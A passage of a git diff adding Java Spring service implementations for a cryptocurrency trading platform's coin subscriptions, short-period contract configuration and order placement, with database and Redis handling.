.setMarket("echo") + .setSlug(tOwnCoin.getCoin().toUpperCase()) + .setLogo(tOwnCoin.getLogo()) + .setReferCoin(tOwnCoin.getReferCoin()) + .setReferMarket(tOwnCoin.getReferMarket()) + .setProportion(tOwnCoin.getProportion()); + klineSymbolService.save(klineSymbol); + //自动添加到秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setCoin(tOwnCoin.getCoin().toLowerCase()); + tSecondCoinConfig.setBaseCoin("usdt"); + tSecondCoinConfig.setShowSymbol(tOwnCoin.getShowSymbol()); + tSecondCoinConfig.setSort(999L); + tSecondCoinConfig.setStatus(1L); + tSecondCoinConfig.setMarket("echo"); + tSecondCoinConfig.setSymbol(tOwnCoin.getCoin().toLowerCase() + "usdt"); + tSecondCoinConfig.setShowFlag(1L); + tSecondCoinConfig.setCreateTime(new Date()); + tSecondCoinConfig.setLogo(tOwnCoin.getLogo()); + tSecondCoinConfig.setType(2); + TSecondCoinConfig btc = tSecondCoinConfigService.getOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, "btc")); + if (null != btc) { + tSecondCoinConfig.setPeriodId(btc.getId()); + } + tSecondCoinConfigService.insertSecondCoin(tSecondCoinConfig); + + tOwnCoin.setStatus(3); + tOwnCoinMapper.updateTOwnCoin(tOwnCoin); + return 1; + } catch (Exception e) { + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return 0; + } + } + + @Override + public AjaxResult subscribeCoins(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) { + if (Objects.nonNull(tOwnCoinSubscribeOrder) && + Objects.nonNull(tOwnCoinSubscribeOrder.getUserId()) && + tOwnCoinSubscribeOrder.getUserId().equals(StpUtil.getLoginIdAsLong())) { + // 判断是否在筹备中 + TOwnCoin tOwnCoin = this.getById(tOwnCoinSubscribeOrder.getOwnId()); + if (tOwnCoin != null && tOwnCoin.getStatus() == 1) { + int result = + tOwnCoinSubscribeOrderMapper.selectTOwnCoinSubscribeOrderRecord(tOwnCoinSubscribeOrder); + if (result == 0) { + tOwnCoinSubscribeOrder.setSubscribeId("S" + OrderUtils.generateOrderNum()); + //状态,1订阅中、2订阅成功、3成功消息推送完成、4被拒绝 + tOwnCoinSubscribeOrder.setPrice(tOwnCoin.getPrice()); + tOwnCoinSubscribeOrder.setNumLimit(tOwnCoin.getPurchaseLimit().longValue()); + tOwnCoinSubscribeOrder.setAmountLimit( + tOwnCoin.getPrice().multiply(new BigDecimal(tOwnCoin.getPurchaseLimit())) + .setScale(4, RoundingMode.HALF_UP)); + tOwnCoinSubscribeOrder.setStatus("1"); + int count = tOwnCoinSubscribeOrderMapper.insertTOwnCoinSubscribeOrder(tOwnCoinSubscribeOrder); + if (count > 0) { + return AjaxResult.success(MessageUtils.message("own.coin.subscribe.success")); + } + } + } + } + return AjaxResult.error(MessageUtils.message("own.coin.subscribe.error")); + } + + @Override + public List selectTOwnCoinSubscribeOrderList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) { + return tOwnCoinSubscribeOrderMapper.selectTOwnCoinSubscribeOrderList(tOwnCoinSubscribeOrder); + } + + @Override + public int updateTOwnCoinSubscribeOrder(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) { + String status = tOwnCoinSubscribeOrder.getStatus(); + if (StringUtils.isBlank(status)) { + return 0; + } + switch (status) { + case "0": + tOwnCoinSubscribeOrder.setStatus("4"); + break; + case "1": + Long numLimit = tOwnCoinSubscribeOrder.getNumLimit(); + if (numLimit <= 0) { + return 0; + } + TOwnCoinSubscribeOrder order = + tOwnCoinSubscribeOrderMapper.selectTOwnCoinSubscribeOrderById(tOwnCoinSubscribeOrder.getId()); + tOwnCoinSubscribeOrder.setStatus("2"); + tOwnCoinSubscribeOrder.setAmountLimit(order.getPrice().multiply(new BigDecimal(numLimit)) + .setScale(4, RoundingMode.HALF_UP)); + break; + default: + return 0; + } + return tOwnCoinSubscribeOrderMapper.updateTOwnCoinSubscribeOrder(tOwnCoinSubscribeOrder); + } + + @Override + public TOwnCoinSubscribeOrder getOrderById(Long ownId, Long userId) { + return tOwnCoinSubscribeOrderMapper.getOrderById(ownId, userId); + } + + @Override + public TOwnCoinVO getDetail(Long userId, Long ownId) { + TOwnCoinSubscribeOrder orderById = tOwnCoinSubscribeOrderMapper.getOrderById(ownId, userId); + TOwnCoinVO tOwnCoinVO = new TOwnCoinVO(); + TOwnCoin tOwnCoin = tOwnCoinMapper.selectTOwnCoinById(ownId); + BeanUtils.copyProperties(tOwnCoin, tOwnCoinVO); + tOwnCoinVO.setNumLimit(orderById.getNumLimit()); + tOwnCoinVO.setBeginTimes(tOwnCoinVO.getBeginTime().getTime()); + tOwnCoinVO.setEndTimes(tOwnCoinVO.getEndTime().getTime()); + return tOwnCoinVO; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondCoinConfigServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondCoinConfigServiceImpl.java new file mode 100644 index 0000000..e5dfc63 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondCoinConfigServiceImpl.java @@ -0,0 +1,279 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.net.URISyntaxException; +import java.util.*; +import java.util.stream.Collectors; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.HomeCoinSetting; +import com.ruoyi.bussiness.domain.vo.SecondCoinCopyVO; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TSecondCoinConfigMapper; +import com.ruoyi.bussiness.mapper.TUserCoinMapper; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.bussiness.service.ITSecondPeriodConfigService; +import com.ruoyi.bussiness.service.ITUserCoinService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.socket.service.MarketThread; +import org.apache.commons.lang3.ObjectUtils; +import org.springframework.beans.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + + +/** + * 秒合约币种配置Service业务层处理 + * + * @author ruoyi + * @date 2023-07-11 + */ +@Service +public class TSecondCoinConfigServiceImpl extends ServiceImpl implements ITSecondCoinConfigService +{ + @Resource + private TSecondCoinConfigMapper tSecondCoinConfigMapper; + + @Resource + private TUserCoinMapper userCoinMapper; + + @Resource + private ITOwnCoinService itOwnCoinService; + + @Resource + private ITSecondPeriodConfigService tSecondPeriodConfigService; + + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + RedisCache redisCache; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + /** + * 查询秒合约币种配置 + * + * @param id 秒合约币种配置主键 + * @return 秒合约币种配置 + */ + @Override + public TSecondCoinConfig selectTSecondCoinConfigById(Long id) + { + return tSecondCoinConfigMapper.selectTSecondCoinConfigById(id); + } + + /** + * 查询秒合约币种配置列表 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 秒合约币种配置 + */ + @Override + public List selectTSecondCoinConfigList(TSecondCoinConfig tSecondCoinConfig) + { + return tSecondCoinConfigMapper.selectTSecondCoinConfigList(tSecondCoinConfig); + } + + /** + * 新增秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + @Override + public int insertTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig) + { + tSecondCoinConfig.setCreateTime(DateUtils.getNowDate()); + return tSecondCoinConfigMapper.insertTSecondCoinConfig(tSecondCoinConfig); + } + + @Override + @Transactional + public int insertSecondCoin(TSecondCoinConfig tSecondCoinConfig) { + tSecondCoinConfig.setCreateTime(DateUtils.getNowDate()); + if(tSecondCoinConfig.getMarket().equals("binance")||tSecondCoinConfig.getMarket().equals("huobi")){ + tSecondCoinConfig.setCoin(tSecondCoinConfig.getCoin().toLowerCase()); + tSecondCoinConfig.setSymbol(tSecondCoinConfig.getCoin().toLowerCase()+"usdt"); + tSecondCoinConfig.setBaseCoin("usdt"); + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setSlug(tSecondCoinConfig.getCoin().toLowerCase()); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(klineSymbol); + if(!CollectionUtils.isEmpty(klineSymbols)){ + tSecondCoinConfig.setLogo(klineSymbols.get(0).getLogo()); + } + }else if(tSecondCoinConfig.getMarket().equals("mt5") || tSecondCoinConfig.getMarket().equals("metal")){ + tSecondCoinConfig.setSymbol(tSecondCoinConfig.getCoin()); + tSecondCoinConfig.setCoin(tSecondCoinConfig.getCoin()); + tSecondCoinConfig.setBaseCoin(tSecondCoinConfig.getCoin()); + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setSlug(tSecondCoinConfig.getSymbol().toUpperCase()); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(klineSymbol); + if(!CollectionUtils.isEmpty(klineSymbols)){ + tSecondCoinConfig.setLogo(klineSymbols.get(0).getLogo()); + } + }else if(tSecondCoinConfig.getMarket().equals("echo")){ + KlineSymbol klineSymbol = klineSymbolMapper.selectOne(new LambdaQueryWrapper().eq(KlineSymbol::getMarket, tSecondCoinConfig.getMarket()).eq(KlineSymbol::getSymbol, tSecondCoinConfig.getCoin().toLowerCase())); + tSecondCoinConfig.setCoin(tSecondCoinConfig.getCoin().toLowerCase()); + tSecondCoinConfig.setSymbol(tSecondCoinConfig.getCoin().toLowerCase()+"usdt"); + tSecondCoinConfig.setBaseCoin("usdt"); + tSecondCoinConfig.setLogo(klineSymbol.getLogo()); + } + if(StringUtils.isEmpty(tSecondCoinConfig.getShowSymbol())){ + tSecondCoinConfig.setShowSymbol(tSecondCoinConfig.getCoin().toUpperCase()+"/USDT"); + } + tSecondCoinConfigMapper.insertTSecondCoinConfig(tSecondCoinConfig); + //周期复制 + if(null != tSecondCoinConfig.getPeriodId()){ + //复制 币种ID periodid 的周期 配置到 新增的币种中 + tSecondPeriodConfigService.copyPeriodMethod(tSecondCoinConfig.getId(),tSecondCoinConfig.getPeriodId()); + } + HashMap object = new HashMap<>(); + object.put("add_coin",tSecondCoinConfig.getCoin()); + redisUtil.addStream(redisStreamNames,object); + return 1; + } + + /** + * 修改秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + @Override + public int updateTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig) + { + tSecondCoinConfig.setUpdateTime(DateUtils.getNowDate()); + return tSecondCoinConfigMapper.updateTSecondCoinConfig(tSecondCoinConfig); + } + + /** + * 批量删除秒合约币种配置 + * + * @param ids 需要删除的秒合约币种配置主键 + * @return 结果 + */ + @Override + public int deleteTSecondCoinConfigByIds(Long[] ids) + { + return tSecondCoinConfigMapper.deleteTSecondCoinConfigByIds(ids); + } + + /** + * 删除秒合约币种配置信息 + * + * @param id 秒合约币种配置主键 + * @return 结果 + */ + @Override + public int deleteTSecondCoinConfigById(Long id) + { + return tSecondCoinConfigMapper.deleteTSecondCoinConfigById(id); + } + + /** + * 批量一键添加 + * @param coins + * @return + */ + @Override + public boolean batchSave(String[] coins) { + List list = new ArrayList<>(); + for (String coin : coins) { + TSecondCoinConfig tSecondCoinConfig1 = tSecondCoinConfigMapper.selectOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, coin.toLowerCase())); + if(null != tSecondCoinConfig1){ + continue; + } + KlineSymbol klineSymbol = klineSymbolMapper.selectOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, coin.toUpperCase())); + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setSymbol(coin.toLowerCase()+"usdt"); + tSecondCoinConfig.setCoin(coin.toLowerCase()); + tSecondCoinConfig.setShowSymbol(coin.toUpperCase()+"/"+"USDT"); + tSecondCoinConfig.setShowFlag(1L); + tSecondCoinConfig.setStatus(1L); + tSecondCoinConfig.setSort(0L); + tSecondCoinConfig.setLogo(klineSymbol==null?null:klineSymbol.getLogo()); + tSecondCoinConfig.setCreateBy(SecurityUtils.getUsername()); + tSecondCoinConfig.setCreateTime(new Date()); + tSecondCoinConfig.setMarket(klineSymbol.getMarket()); + list.add(tSecondCoinConfig); + } + return this.saveBatch(list); + } + + @Override + public List getSymbolList() { + List rtn = new ArrayList(); + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setStatus(1L); + tSecondCoinConfig.setShowFlag(1L); + List tSecondCoinConfigs = selectTSecondCoinConfigList(tSecondCoinConfig); + tSecondCoinConfigs.stream().sorted(Comparator.comparing(TSecondCoinConfig::getSort)).collect(Collectors.toList()); + for (TSecondCoinConfig tSecondCoinConfig1: tSecondCoinConfigs ) { + SymbolCoinConfigVO symbolCoinConfigVO = new SymbolCoinConfigVO(); + BeanUtils.copyProperties(tSecondCoinConfig1 ,symbolCoinConfigVO); + symbolCoinConfigVO.setType(2); + symbolCoinConfigVO.setCoinType(tSecondCoinConfig1.getType()); + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tSecondCoinConfig1.getCoin()); + symbolCoinConfigVO.setAmount(cacheObject); + String logo = tSecondCoinConfig1.getLogo(); + if(logo.contains("echo-res")){ + symbolCoinConfigVO.setLogo(logo); + }else { + symbolCoinConfigVO.setLogo("https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui"+logo.substring(logo.lastIndexOf("/"),logo.length())); + } + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper(); + queryWrapper.eq(TUserCoin::getCoin, symbolCoinConfigVO.getCoin().toLowerCase()); + if(StpUtil.isLogin()){ + queryWrapper.eq(TUserCoin::getUserId, StpUtil.getLoginIdAsLong()); + TUserCoin userCoin = userCoinMapper.selectOne(queryWrapper); + if(ObjectUtils.isNotEmpty(userCoin)){ + symbolCoinConfigVO.setIsCollect(1); + }else { + symbolCoinConfigVO.setIsCollect(2); + } + } + rtn.add(symbolCoinConfigVO); + + } + return rtn; + } + + @Override + public List selectBathCopySecondCoinConfigList() { + return tSecondCoinConfigMapper.selectBathCopySecondCoinConfigList(); + } + + @Override + public int bathCopyIng(SecondCoinCopyVO secondCoinCopyVO) { + List list = tSecondPeriodConfigService.list(new LambdaQueryWrapper().eq(TSecondPeriodConfig::getSecondId, secondCoinCopyVO.getCopyId())); + Long[] copyIds = secondCoinCopyVO.getCopyIds(); + for (Long copyId : copyIds) { + //删除原有的 + List copyList =new ArrayList<>(); + tSecondPeriodConfigService.remove(new LambdaQueryWrapper().eq(TSecondPeriodConfig::getSecondId,copyId)); + for (TSecondPeriodConfig secondPeriodConfig : list) { + secondPeriodConfig.setId(null); + secondPeriodConfig.setSecondId(copyId); + copyList.add(secondPeriodConfig); + } + tSecondPeriodConfigService.saveOrUpdateBatch(copyList); + } + return 1; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondContractOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondContractOrderServiceImpl.java new file mode 100644 index 0000000..e4da79f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondContractOrderServiceImpl.java @@ -0,0 +1,230 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.date.DateUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.concurrent.TimeUnit; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TAppAssetMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TSecondCoinConfigMapper; +import com.ruoyi.bussiness.mapper.TSecondContractOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + + +/** + * 秒合约订单Service业务层处理 + * + * @author ruoyi + * @date 2023-07-13 + */ +@Service +@Slf4j +public class TSecondContractOrderServiceImpl extends ServiceImpl implements ITSecondContractOrderService +{ + @Resource + private TSecondContractOrderMapper tSecondContractOrderMapper; + @Resource + private TSecondCoinConfigMapper tSecondCoinConfigMapper; + @Resource + private ITSecondPeriodConfigService itSecondPeriodConfigService; + @Resource + private TAppUserMapper appUserMapper; + @Resource + private ITAppAssetService assetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private RedisCache redisCache; + @Resource + private SettingService settingService; + + + /** + * 查询秒合约订单 + * + * @param id 秒合约订单主键 + * @return 秒合约订单 + */ + @Override + public TSecondContractOrder selectTSecondContractOrderById(Long id) + { + return tSecondContractOrderMapper.selectTSecondContractOrderById(id); + } + + /** + * 查询秒合约订单列表 + * + * @param tSecondContractOrder 秒合约订单 + * @return 秒合约订单 + */ + @Override + public List selectTSecondContractOrderList(TSecondContractOrder tSecondContractOrder) + { + List tSecondContractOrders = tSecondContractOrderMapper.selectTSecondContractOrderList(tSecondContractOrder); + for (TSecondContractOrder secondContractOrder : tSecondContractOrders) { + if(Objects.equals(CommonEnum.ZERO.getCode(), secondContractOrder.getStatus())){ + long time = (secondContractOrder.getCloseTime() - new Date().getTime()) / 1000; + secondContractOrder.setTime((int) time); + }else { + secondContractOrder.setTime(0); + } + } + return tSecondContractOrders; + } + + /** + * 新增秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + @Override + public int insertTSecondContractOrder(TSecondContractOrder tSecondContractOrder) + { + tSecondContractOrder.setCreateTime(DateUtils.getNowDate()); + return tSecondContractOrderMapper.insertTSecondContractOrder(tSecondContractOrder); + } + + /** + * 修改秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + @Override + public int updateTSecondContractOrder(TSecondContractOrder tSecondContractOrder) + { + return tSecondContractOrderMapper.updateTSecondContractOrder(tSecondContractOrder); + } + + /** + * 批量删除秒合约订单 + * + * @param ids 需要删除的秒合约订单主键 + * @return 结果 + */ + @Override + public int deleteTSecondContractOrderByIds(Long[] ids) + { + return tSecondContractOrderMapper.deleteTSecondContractOrderByIds(ids); + } + + /** + * 删除秒合约订单信息 + * + * @param id 秒合约订单主键 + * @return 结果 + */ + @Override + public int deleteTSecondContractOrderById(Long id) + { + return tSecondContractOrderMapper.deleteTSecondContractOrderById(id); + } + + @Override + public String createSecondContractOrder(TSecondContractOrder order) { + log.info("下单"+ JSONObject.toJSONString(order)); + try{ + String serialId = "R" + OrderUtils.generateOrderNum(); + long loginIdAsLong = StpUtil.getLoginIdAsLong(); + BigDecimal amount = order.getBetAmount(); + TAppUser user = appUserMapper.selectTAppUserByUserId(loginIdAsLong); + TSecondPeriodConfig secondPeriodConfig = itSecondPeriodConfigService.getById(order.getPeriodId()); + //判断金额上下限 + if(secondPeriodConfig.getMaxAmount().compareTo(amount)<0 || secondPeriodConfig.getMinAmount().compareTo(amount) > 0){ + return MessageUtils.message("order_amount_limit"); + } + //1. 时间判断, 不能太频繁 + + // 平台资产 + Map assetMap=assetService.getAssetByUserIdList(user.getUserId()); + TAppAsset asset=assetMap.get(order.getBaseSymbol().toLowerCase()+user.getUserId()); + if ( asset.getAvailableAmount().compareTo(amount) < 0) { + return MessageUtils.message("order_amount_error"); + } + //根据ID 查看时间 周期 + + //下单 + Date date = new Date(); + order.setRate(secondPeriodConfig.getOdds()); + order.setType(secondPeriodConfig.getPeriod().intValue()); + order.setRateFlag(secondPeriodConfig.getFlag()); + order.setUserId(user.getUserId()); + order.setOrderNo(serialId); + order.setCreateTime(date); + order.setCloseTime(date.getTime()+(order.getType()-2)* 1000L);//60秒后的时间) + order.setUserAddress(user.getAddress()); + order.setStatus(0); + order.setBetAmount(order.getBetAmount()); + order.setRewardAmount(BigDecimal.ZERO); + //当前币种最新价格 + BigDecimal price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + order.getCoinSymbol().toLowerCase()); + TSecondCoinConfig one = tSecondCoinConfigMapper.selectOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, order.getCoinSymbol().toUpperCase())); + if(one != null && 2!=one.getType()){ + price=redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + order.getCoinSymbol().toUpperCase()); + } + order.setOpenPrice(price); + order.setSign(0); + order.setManualIntervention(1); + order.setAdminParentIds(user.getAdminParentIds()); + //先扣钱,再下单 + if (redisCache.tryLock(CachePrefix.USER_WALLET.getPrefix() + user.getUserId(), user.getUserId(), 1000)) { + //成功的情况下才进行加锁限制 + if (!redisCache.hasKey(CachePrefix.ORDER_SECOND_CONTRACT.getPrefix() + user.getUserId())) { + redisCache.setCacheObject(CachePrefix.ORDER_SECOND_CONTRACT.getPrefix() + user.getUserId(), serialId, 10000, TimeUnit.MILLISECONDS); + } else { + return MessageUtils.message("order_10s_retry"); + } + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().subtract(amount)); + asset.setAvailableAmount(availableAmount.subtract(amount)); + assetService.updateByUserId(asset); + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.OPTION_BETTING.getCode(), user.getLoginName(), serialId, RecordEnum.OPTION_BETTING.getInfo(), availableAmount, availableAmount.subtract(amount),order.getBaseSymbol(),user.getAdminParentIds()); + this.insertTSecondContractOrder(order); + log.debug("下注提交成功, userId:{}, orderId:{}, money:{}", user.getUserId(), serialId, amount); + + //秒合约打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getSencordIsOpen()) && addMosaic.getSencordIsOpen()){ + user.setTotleAmont(user.getTotleAmont().add(order.getBetAmount())); + appUserMapper.updateTotleAmont(user); + } + } + + return String.valueOf(order.getId()); + }else { + return MessageUtils.message("withdraw.refresh"); + } + }catch (Exception e){ + log.info(JSONObject.toJSONString(e)); + } + return MessageUtils.message("withdraw.refresh"); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondPeriodConfigServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondPeriodConfigServiceImpl.java new file mode 100644 index 0000000..bf478b8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondPeriodConfigServiceImpl.java @@ -0,0 +1,113 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.util.ArrayList; +import java.util.List; + +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; +import com.ruoyi.bussiness.mapper.TSecondPeriodConfigMapper; +import com.ruoyi.bussiness.service.ITSecondPeriodConfigService; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 秒合约币种周期配置Service业务层处理 + * + * @author ruoyi + * @date 2023-07-11 + */ +@Service +public class TSecondPeriodConfigServiceImpl extends ServiceImpl implements ITSecondPeriodConfigService +{ + @Autowired + private TSecondPeriodConfigMapper tSecondPeriodConfigMapper; + + /** + * 查询秒合约币种周期配置 + * + * @param id 秒合约币种周期配置主键 + * @return 秒合约币种周期配置 + */ + @Override + public TSecondPeriodConfig selectTSecondPeriodConfigById(Long id) + { + return tSecondPeriodConfigMapper.selectTSecondPeriodConfigById(id); + } + + /** + * 查询秒合约币种周期配置列表 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 秒合约币种周期配置 + */ + @Override + public List selectTSecondPeriodConfigList(TSecondPeriodConfig tSecondPeriodConfig) + { + return tSecondPeriodConfigMapper.selectTSecondPeriodConfigList(tSecondPeriodConfig); + } + + /** + * 新增秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + @Override + public int insertTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig) + { + tSecondPeriodConfig.setCreateTime(DateUtils.getNowDate()); + return tSecondPeriodConfigMapper.insertTSecondPeriodConfig(tSecondPeriodConfig); + } + + /** + * 修改秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + @Override + public int updateTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig) + { + tSecondPeriodConfig.setUpdateTime(DateUtils.getNowDate()); + return tSecondPeriodConfigMapper.updateTSecondPeriodConfig(tSecondPeriodConfig); + } + + /** + * 批量删除秒合约币种周期配置 + * + * @param ids 需要删除的秒合约币种周期配置主键 + * @return 结果 + */ + @Override + public int deleteTSecondPeriodConfigByIds(Long[] ids) + { + return tSecondPeriodConfigMapper.deleteTSecondPeriodConfigByIds(ids); + } + + /** + * 删除秒合约币种周期配置信息 + * + * @param id 秒合约币种周期配置主键 + * @return 结果 + */ + @Override + public int deleteTSecondPeriodConfigById(Long id) + { + return tSecondPeriodConfigMapper.deleteTSecondPeriodConfigById(id); + } + + @Override + public void copyPeriodMethod(Long id, Long copyId) { + TSecondPeriodConfig tSecondPeriodConfig = new TSecondPeriodConfig(); + tSecondPeriodConfig.setSecondId(copyId); + List copyList =new ArrayList<>(); + List tSecondPeriodConfigs = tSecondPeriodConfigMapper.selectTSecondPeriodConfigList(tSecondPeriodConfig); + for (TSecondPeriodConfig secondPeriodConfig : tSecondPeriodConfigs) { + secondPeriodConfig.setSecondId(id); + secondPeriodConfig.setId(null); + copyList.add(secondPeriodConfig); + } + this.saveBatch(copyList); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSpontaneousCoinServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSpontaneousCoinServiceImpl.java new file mode 100644 index 0000000..c8ab013 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSpontaneousCoinServiceImpl.java @@ -0,0 +1,144 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.util.HashMap; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TOwnCoinMapper; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TSpontaneousCoinMapper; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; +import com.ruoyi.bussiness.service.ITSpontaneousCoinService; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; + +/** + * 自发币种配置Service业务层处理 + * + * @author ruoyi + * @date 2023-10-08 + */ +@Service +public class TSpontaneousCoinServiceImpl extends ServiceImpl implements ITSpontaneousCoinService +{ + @Autowired + private TSpontaneousCoinMapper tSpontaneousCoinMapper; + @Resource + private TOwnCoinMapper tOwnCoinMapper; + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + /** + * 查询自发币种配置 + * + * @param id 自发币种配置主键 + * @return 自发币种配置 + */ + @Override + public TSpontaneousCoin selectTSpontaneousCoinById(Long id) + { + return tSpontaneousCoinMapper.selectTSpontaneousCoinById(id); + } + + /** + * 查询自发币种配置列表 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 自发币种配置 + */ + @Override + public List selectTSpontaneousCoinList(TSpontaneousCoin tSpontaneousCoin) + { + return tSpontaneousCoinMapper.selectTSpontaneousCoinList(tSpontaneousCoin); + } + + /** + * 新增自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + @Transactional + @Override + public int insertTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin) + { + 